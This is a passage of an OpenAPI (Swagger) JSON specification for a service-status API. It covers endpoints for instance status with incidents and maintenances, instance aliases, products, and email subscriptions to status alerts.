"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"Maintenances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"GeneralMessages": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
}
}
}
},
"/instances/{key}/status": {
"x-swagger-router-controller": "instance",
"x-sequelize-model": "Instance",
"get": {
"tags": [
"instances"
],
"description": "Return an by instance with associated incidents, maintenances, and general messages.\nReturns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums:\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n",
"operationId": "getInstanceStatusbyKey",
"parameters": [
{
"name": "key",
"in": "path",
"description": "Instance Key",
"required": true,
"type": "string"
},
{
"name": "productId",
"in": "query",
"type": "integer",
"description": "Filter by parent product",
"required": false
},
{
"name": "childProducts",
"in": "query",
"type": "boolean",
"description": "Include nested products. productId must be set.",
"default": false,
"required": false
},
{
"name": "locale",
"in": "query",
"type": "string",
"required": false,
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"status": {
"type": "string",
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.",
"maxLength": 255,
"enum": [
"OK",
"MAJOR_INCIDENT_CORE",
"MINOR_INCIDENT_CORE",
"MAINTENANCE_CORE",
"INFORMATIONAL_CORE",
"MAJOR_INCIDENT_NONCORE",
"MINOR_INCIDENT_NONCORE",
"MAINTENANCE_NONCORE",
"INFORMATIONAL_NONCORE"
]
},
"Incidents": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"Maintenances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"GeneralMessages": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
}
}
}
},
"/instanceAliases/{key}/status": {
"x-swagger-router-controller": "instanceAlias",
"x-sequelize-model": "InstanceAlias",
"get": {
"tags": [
"instances"
],
"description": "Return an by instance with associated incidents, maintenances, and general messages.\nReturns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums:\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n",
"operationId": "getInstanceStatusbyAlias",
"parameters": [
{
"name": "key",
"in": "path",
"description": "Instance Key",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"required": [
"key"
],
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"location": {
"type": "string",
"maxLength": 255
},
"environment": {
"type": "string",
"maxLength": 255
},
"releaseVersion": {
"type": "string",
"maxLength": 255
},
"releaseNumber": {
"type": "string",
"maxLength": 255
},
"status": {
"type": "string",
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.",
"maxLength": 255,
"enum": [
"OK",
"MAJOR_INCIDENT_CORE",
"MINOR_INCIDENT_CORE",
"MAINTENANCE_CORE",
"INFORMATIONAL_CORE",
"MAJOR_INCIDENT_NONCORE",
"MINOR_INCIDENT_NONCORE",
"MAINTENANCE_NONCORE",
"INFORMATIONAL_NONCORE"
]
},
"Incidents": {
"type": "array",
"items": {
"type": "object",
"required": [
"id"
],
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"IncidentImpacts": {
"type": "array",
"items": {
"type": "object",
"required": [
"startTime",
"type"
],
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"serviceIssue": {
"type": "string"
},
"endUserImpact": {
"type": "string"
},
"type": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"IncidentEvents": {
"type": "array",
"items": {
"type": "object",
"required": [
"type"
],
"properties": {
"id": {
"type": "integer"
},
"type": {
"type": "string"
},
"message": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"Maintenances": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"message": {
"type": [
"object",
"null"
]
},
"externalId": {
"type": [
"string",
"null"
]
},
"name": {
"type": [
"string",
"null"
]
},
"affectsAll": {
"type": "boolean"
},
"isCore": {
"type": "boolean"
},
"plannedStartTime": {
"type": [
"string",
"null"
]
},
"plannedEndTime": {
"type": [
"string",
"null"
]
},
"additionalInformation": {
"type": [
"string",
"null"
]
},
"serviceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"instanceKeys": {
"type": "array",
"items": {
"type": "string"
}
},
"MaintenanceImpacts": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"startTime": {
"type": "string"
},
"endTime": {
"type": [
"string",
"null"
]
},
"type": {
"type": "string"
},
"systemAvailability": {
"type": "string"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"GeneralMessages": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"subject": {
"type": "string"
},
"body": {
"type": "string"
},
"startDate": {
"type": "string"
},
"endDate": {
"type": [
"string",
"null"
]
}
}
}
}
}
}
}
}
}
}
},
"/instanceAliases/{key}": {
"x-swagger-router-controller": "instanceAlias",
"x-sequelize-model": "InstanceAlias",
"get": {
"tags": [
"instances"
],
"description": "Get Instance Alias",
"operationId": "getInstanceAliasByKey",
"parameters": [
{
"name": "key",
"in": "path",
"description": "Instance Alias Key",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"properties": {
"key": {
"type": "string",
"maxLength": 255
},
"instanceKey": {
"type": "string",
"maxLength": 255
}
}
}
}
}
}
},
"/products": {
"x-swagger-router-controller": "product",
"x-sequelize-model": "Product",
"get": {
"tags": [
"products"
],
"description": "Return all catergories",
"operationId": "getProducts",
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"name": {
"type": "string"
},
"parentId": {
"type": "integer"
},
"parentName": {
"type": "string"
},
"order": {
"type": "integer"
},
"path": {
"type": "string"
},
"public": {
"type": "boolean",
"default": true
}
}
}
}
}
}
}
},
"/products/{id}": {
"x-swagger-router-controller": "product",
"x-sequelize-model": "Product",
"get": {
"tags": [
"products"
],
"description": "Returns an product by id.",
"operationId": "getProductById",
"parameters": [
{
"name": "id",
"in": "path",
"type": "string",
"description": "Product Key",
"required": true
}
],
"responses": {
"200": {
"description": "Success",
"schema": {
"type": "object",
"properties": {
"id": {
"type": "integer"
},
"name": {
"type": "string"
},
"parentId": {
"type": "integer"
},
"parentName": {
"type": "string"
},
"order": {
"type": "integer"
},
"path": {
"type": "string"
},
"public": {
"type": "boolean",
"default": true
}
}
}
},
"404": {
"description": "Product not found",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/subscribe": {
"x-swagger-router-controller": "subscribe",
"x-sequelize-model": "Subscriber",
"post": {
"operationId": "subscribe",
"tags": [
"subscribe"
],
"parameters": [
{
"name": "X-Send-Notification",
"in": "header",
"description": "Notify subscribers about event.\nAutomatically set using\n",
"type": "string",
"required": false,
"default": "send"
},
{
"name": "body",
"in": "body",
"description": "Subscriber and Subscription Information",
"required": true,
"schema": {
"type": "object",
"properties": {
"emailAddress": {
"type": "string",
"description": "Email address of subscriber"
},
"locale": {
"type": "string",
"description": "Locale for alerts",
"default": "en"
},
"subscriptions": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"instances": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"services": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"severities": {
"type": "object",
"properties": {
"major": {
"type": "boolean"
},
"minor": {
"type": "boolean"
},
"maintenances": {
"type": "boolean"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
],
"responses": {
"200": {
"description": "New subscribers",
"schema": {
"type": "object",
"properties": {
"emailAddress": {
"type": "string",
"description": "Email address of subscriber"
},
"locale": {
"type": "string",
"description": "Locale for alerts"
},
"subscription": {
"type": "array",
"items": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"instances": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"services": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"severities": {
"type": "object",
"properties": {
"major": {
"type": "boolean"
},
"minor": {
"type": "boolean"
},
"maintenances": {
"type": "boolean"
}
}
}
}
}
}
}
}
}
}
},
"description": "List of Subscriptions"
},
"isActive": {
"type": "boolean",
"description": "Subscriber Status"
},
"createdAt": {
"type": "string"
},
"updatedAt": {
"type": "string"
}
}
}
},
"default": {
"description": "Unexpected error",
"schema": {
"type": "object",
"properties": {
"message": {
"type": "string"
}
}
}
}
}
}
},
"/subscribers": {
"x-swagger-router-controller": "subscriber",
"x-sequelize-model": "Subscriber",
"get": {
"operationId": "getSubscriberWithToken",
"tags": [
"subscribers"
],
"summary": "Retrieve Subscriber",
"description": "Returns subscriber and subscription using token\n",
"parameters": [
{
"name": "token",
"in": "query",
"description": "Subscriber Token",
"required": true,
"type": "string"
}
],
"responses": {
"200": {
"description": "Subscriber",
"schema": {
"type": "object",
"properties": {
"emailAddress": {
"type": "string",
"description": "Email address of subscriber"
},
"locale": {
"type": "string",
"description": "Locale for alerts"
},
"subscription": {
"type": "array",
"items": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"instances": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"all": {
"type": "boolean"
},
"services": {
"type": "object",
"additionalProperties": {
"type": "object",
"properties": {
"severities": {
"type": "object",
"properties": {
"major": {
"type": "boolean"
},
"minor": {
"type": "boolean"
},
"maintenances": {
"type": "boolean"
}
}
}
}
}
}
}
}
}
}